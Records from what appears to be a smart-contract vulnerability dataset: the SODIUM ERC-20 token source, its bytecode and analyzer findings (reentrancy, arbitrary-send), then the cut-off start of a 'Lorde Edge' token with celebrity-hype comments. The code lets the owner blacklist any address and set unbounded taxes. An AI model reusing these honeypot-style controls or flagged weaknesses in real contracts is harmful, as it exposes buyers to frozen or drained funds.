/* ______ ______ _______ ______ __ __ __ __ / \ / \ | \ | \| \ | \| \ / \ | $$$$$$\| $$$$$$\| $$$$$$$\ \$$$$$$| $$ | $$| $$\ / $$ | $$___\$$| $$ | $$| $$ | $$ | $$ | $$ | $$| $$$\ / $$$ \$$ \ | $$ | $$| $$ | $$ | $$ | $$ | $$| $$$$\ $$$$ _\$$$$$$\| $$ | $$| $$ | $$ | $$ | $$ | $$| $$\$$ $$ $$ | \__| $$| $$__/ $$| $$__/ $$ _| $$_ | $$__/ $$| $$ \$$$| $$ \$$ $$ \$$ $$| $$ $$| $$ \ \$$ $$| $$ \$ | $$ \$$$$$$ \$$$$$$ \$$$$$$$ \$$$$$$ \$$$$$$ \$$ \$$ https://twitter.com/SodiumFinance https://sodium.finance/ https://t.me/SodiumFinance SPDX-License-Identifier: Unlicensed */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SODIUM is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Sodium Finance"; string private constant _symbol = "SODIUM"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 9; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 0; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0x6b02C929F38683310964f71ca704956102CaC0b9); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 2e10 * 10**9; uint256 public _maxWalletSize = 2e10 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function createPair() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address sniper) external onlyOwner { _isSniper[sniper] = true; } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { require(maxWalletSize >= _maxWalletSize); _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { _burnFee = amount; } }
0x6080604052600436106101f25760003560e01c80636fc3eaec1161010d5780638f70ccf7116100a0578063a9059cbb1161006f578063a9059cbb146105a6578063c5528490146105c6578063dd62ed3e146105e6578063ea1644d51461062c578063f2fde38b1461064c57600080fd5b80638f70ccf71461052c5780638f9a55c01461054c57806395d89b41146105625780639e78fb4f1461059157600080fd5b8063790ca413116100dc578063790ca413146104c25780637d1db4a5146104d8578063881dce60146104ee5780638da5cb5b1461050e57600080fd5b80636fc3eaec1461045857806370a082311461046d578063715018a61461048d57806374010ece146104a257600080fd5b8063313ce5671161018557806349bd5a5e1161015457806349bd5a5e146103d85780634bf2c7c9146103f85780635d098b38146104185780636d8aa8f81461043857600080fd5b8063313ce5671461035a57806333251a0b1461037657806338eea22d146103985780633e3e9598146103b857600080fd5b806318160ddd116101c157806318160ddd146102e857806323b872dd1461030e57806327c8f8351461032e5780632fd689e31461034457600080fd5b806306fdde03146101fe578063095ea7b3146102475780630f3a325f146102775780631694505e146102b057600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060408051808201909152600e81526d536f6469756d2046696e616e636560901b60208201525b60405161023e9190611dda565b60405180910390f35b34801561025357600080fd5b50610267610262366004611d51565b61066c565b604051901515815260200161023e565b34801561028357600080fd5b50610267610292366004611c9d565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102bc57600080fd5b506016546102d0906001600160a01b031681565b6040516001600160a01b03909116815260200161023e565b3480156102f457600080fd5b50683635c9adc5dea000005b60405190815260200161023e565b34801561031a57600080fd5b50610267610329366004611d10565b610683565b34801561033a57600080fd5b506102d061dead81565b34801561035057600080fd5b50610300601a5481565b34801561036657600080fd5b506040516009815260200161023e565b34801561038257600080fd5b50610396610391366004611c9d565b6106ec565b005b3480156103a457600080fd5b506103966103b3366004611db8565b610764565b3480156103c457600080fd5b506103966103d3366004611c9d565b610799565b3480156103e457600080fd5b506017546102d0906001600160a01b031681565b34801561040457600080fd5b50610396610413366004611d9f565b6107e7565b34801561042457600080fd5b50610396610433366004611c9d565b610816565b34801561044457600080fd5b50610396610453366004611d7d565b610870565b34801561046457600080fd5b506103966108b8565b34801561047957600080fd5b50610300610488366004611c9d565b6108e2565b34801561049957600080fd5b50610396610904565b3480156104ae57600080fd5b506103966104bd366004611d9f565b610978565b3480156104ce57600080fd5b50610300600a5481565b3480156104e457600080fd5b5061030060185481565b3480156104fa57600080fd5b50610396610509366004611d9f565b6109a7565b34801561051a57600080fd5b506000546001600160a01b03166102d0565b34801561053857600080fd5b50610396610547366004611d7d565b610a23565b34801561055857600080fd5b5061030060195481565b34801561056e57600080fd5b50604080518082019091526006815265534f4449554d60d01b6020820152610231565b34801561059d57600080fd5b50610396610a6f565b3480156105b257600080fd5b506102676105c1366004611d51565b610c54565b3480156105d257600080fd5b506103966105e1366004611db8565b610c61565b3480156105f257600080fd5b50610300610601366004611cd7565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561063857600080fd5b50610396610647366004611d9f565b610c96565b34801561065857600080fd5b50610396610667366004611c9d565b610cd4565b6000610679338484610dbe565b5060015b92915050565b6000610690848484610ee2565b6106e284336106dd85604051806060016040528060288152602001611fae602891396001600160a01b038a166000908152600560209081526040808320338452909152902054919061153c565b610dbe565b5060019392505050565b6000546001600160a01b0316331461071f5760405162461bcd60e51b815260040161071690611e2f565b60405180910390fd5b6001600160a01b03811660009081526009602052604090205460ff1615610761576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b0316331461078e5760405162461bcd60e51b815260040161071690611e2f565b600b91909155600d55565b6000546001600160a01b031633146107c35760405162461bcd60e51b815260040161071690611e2f565b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6000546001600160a01b031633146108115760405162461bcd60e51b815260040161071690611e2f565b601155565b6015546001600160a01b0316336001600160a01b03161461083657600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b0316331461089a5760405162461bcd60e51b815260040161071690611e2f565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b0316146108d857600080fd5b4761076181611576565b6001600160a01b03811660009081526002602052604081205461067d906115b4565b6000546001600160a01b0316331461092e5760405162461bcd60e51b815260040161071690611e2f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109a25760405162461bcd60e51b815260040161071690611e2f565b601855565b6015546001600160a01b0316336001600160a01b0316146109c757600080fd5b6109d0306108e2565b81111580156109df5750600081115b610a1a5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610716565b61076181611638565b6000546001600160a01b03163314610a4d5760405162461bcd60e51b815260040161071690611e2f565b60178054911515600160a01b0260ff60a01b1990921691909117905542600a55565b6000546001600160a01b03163314610a995760405162461bcd60e51b815260040161071690611e2f565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610af957600080fd5b505afa158015610b0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b319190611cba565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b7957600080fd5b505afa158015610b8d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb19190611cba565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610bf957600080fd5b505af1158015610c0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c319190611cba565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b6000610679338484610ee2565b6000546001600160a01b03163314610c8b5760405162461bcd60e51b815260040161071690611e2f565b600c91909155600e55565b6000546001600160a01b03163314610cc05760405162461bcd60e51b815260040161071690611e2f565b601954811015610ccf57600080fd5b601955565b6000546001600160a01b03163314610cfe5760405162461bcd60e51b815260040161071690611e2f565b6001600160a01b038116610d635760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610716565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e205760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610716565b6001600160a01b038216610e815760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610716565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f465760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610716565b6001600160a01b038216610fa85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610716565b6000811161100a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610716565b6001600160a01b03821660009081526009602052604090205460ff16156110435760405162461bcd60e51b815260040161071690611e64565b6001600160a01b03831660009081526009602052604090205460ff161561107c5760405162461bcd60e51b815260040161071690611e64565b3360009081526009602052604090205460ff16156110ac5760405162461bcd60e51b815260040161071690611e64565b6000546001600160a01b038481169116148015906110d857506000546001600160a01b03838116911614155b156113e657601754600160a01b900460ff166111365760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610716565b6017546001600160a01b03838116911614801561116157506016546001600160a01b03848116911614155b15611213576001600160a01b038216301480159061118857506001600160a01b0383163014155b80156111a257506015546001600160a01b03838116911614155b80156111bc57506015546001600160a01b03848116911614155b15611213576018548111156112135760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610716565b6017546001600160a01b0383811691161480159061123f57506015546001600160a01b03838116911614155b801561125457506001600160a01b0382163014155b801561126b57506001600160a01b03821661dead14155b156112e0576019548161127d846108e2565b6112879190611efc565b106112e05760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610716565b60006112eb306108e2565b601a54909150811180801561130a5750601754600160a81b900460ff16155b801561132457506017546001600160a01b03868116911614155b80156113395750601754600160b01b900460ff165b801561135e57506001600160a01b03851660009081526006602052604090205460ff16155b801561138357506001600160a01b03841660009081526006602052604090205460ff16155b156113e357601154600090156113be576113b360646113ad601154866117c190919063ffffffff16565b90611840565b90506113be81611882565b6113d06113cb8285611f55565b611638565b4780156113e0576113e047611576565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061142857506001600160a01b03831660009081526006602052604090205460ff165b8061145a57506017546001600160a01b0385811691161480159061145a57506017546001600160a01b03848116911614155b156114675750600061152a565b6017546001600160a01b03858116911614801561149257506016546001600160a01b03848116911614155b156114ed576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a5414156114ed576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b03848116911614801561151857506016546001600160a01b03858116911614155b1561152a57600d54600f55600e546010555b6115368484848461188f565b50505050565b600081848411156115605760405162461bcd60e51b81526004016107169190611dda565b50600061156d8486611f55565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156115b0573d6000803e3d6000fd5b5050565b600060075482111561161b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610716565b60006116256118c3565b90506116318382611840565b9392505050565b6017805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061168057611680611f82565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156116d457600080fd5b505afa1580156116e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061170c9190611cba565b8160018151811061171f5761171f611f82565b6001600160a01b0392831660209182029290920101526016546117459130911684610dbe565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac9479061177e908590600090869030904290600401611e8b565b600060405180830381600087803b15801561179857600080fd5b505af11580156117ac573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b6000826117d05750600061067d565b60006117dc8385611f36565b9050826117e98583611f14565b146116315760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610716565b600061163183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118e6565b6107613061dead83610ee2565b8061189c5761189c611914565b6118a7848484611959565b8061153657611536601254600f55601354601055601454601155565b60008060006118d0611a50565b90925090506118df8282611840565b9250505090565b600081836119075760405162461bcd60e51b81526004016107169190611dda565b50600061156d8486611f14565b600f541580156119245750601054155b80156119305750601154155b1561193757565b600f805460125560108054601355601180546014556000928390559082905555565b60008060008060008061196b87611a92565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061199d9087611aef565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119cc9086611b31565b6001600160a01b0389166000908152600260205260409020556119ee81611b90565b6119f88483611bda565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a3d91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea00000611a6c8282611840565b821015611a8957505060075492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611aaf8a600f54601054611bfe565b9250925092506000611abf6118c3565b90506000806000611ad28e878787611c4d565b919e509c509a509598509396509194505050505091939550919395565b600061163183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061153c565b600080611b3e8385611efc565b9050838110156116315760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610716565b6000611b9a6118c3565b90506000611ba883836117c1565b30600090815260026020526040902054909150611bc59082611b31565b30600090815260026020526040902055505050565b600754611be79083611aef565b600755600854611bf79082611b31565b6008555050565b6000808080611c1260646113ad89896117c1565b90506000611c2560646113ad8a896117c1565b90506000611c3d82611c378b86611aef565b90611aef565b9992985090965090945050505050565b6000808080611c5c88866117c1565b90506000611c6a88876117c1565b90506000611c7888886117c1565b90506000611c8a82611c378686611aef565b939b939a50919850919650505050505050565b600060208284031215611caf57600080fd5b813561163181611f98565b600060208284031215611ccc57600080fd5b815161163181611f98565b60008060408385031215611cea57600080fd5b8235611cf581611f98565b91506020830135611d0581611f98565b809150509250929050565b600080600060608486031215611d2557600080fd5b8335611d3081611f98565b92506020840135611d4081611f98565b929592945050506040919091013590565b60008060408385031215611d6457600080fd5b8235611d6f81611f98565b946020939093013593505050565b600060208284031215611d8f57600080fd5b8135801515811461163157600080fd5b600060208284031215611db157600080fd5b5035919050565b60008060408385031215611dcb57600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611e0757858101830151858201604001528201611deb565b81811115611e19576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611edb5784516001600160a01b031683529383019391830191600101611eb6565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611f0f57611f0f611f6c565b500190565b600082611f3157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f5057611f50611f6c565b500290565b600082821015611f6757611f67611f6c565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461076157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a4b46813fc58f3c609274019499c752d12e4ad03feef5b19475564a2a4544ea864736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,413
0x5e9d7fb6bedc8e4ff9a754f2d8de2b7be43e3f59
/** *Submitted for verification at Etherscan.io on 2021-11-08 */ /** https://t.me/lordeedgeinu Recently Elon Musk changed his twitter name to Lorde Edge. Then what is Lorde Edge? According to Shibetoshi Nakamoto(Creator of Dogecoin), Lorde Edge is an anagram for elder doge. This is the Lorde Edge community which is supporting by doge coin and Elon Musk https://twitter.com/elonmusk https://twitter.com/BillyM2k/status/1457543431564115972?s=20 */ /** * * * * SPDX-License-Identifier: UNLICENSED * */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit 